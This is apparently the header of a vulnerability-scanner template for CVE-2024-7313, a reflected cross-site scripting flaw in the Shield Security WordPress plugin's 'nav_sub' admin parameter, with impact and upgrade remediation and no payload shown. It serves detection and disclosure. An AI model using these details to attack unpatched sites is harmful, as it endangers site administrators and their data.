id: CVE-2024-7313

info:
  name: Shield Security Plugin < 20.0.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.
  impact: |
    Authenticated users can inject malicious JavaScript through the nav_sub parameter that executes in the context of other administrators' sessions, potentially leading to privilege escalation, data theft, or unauthorized administrative actions.
  remediation: |
    Update the Shield Security plugin to version 20.0.6 or later.
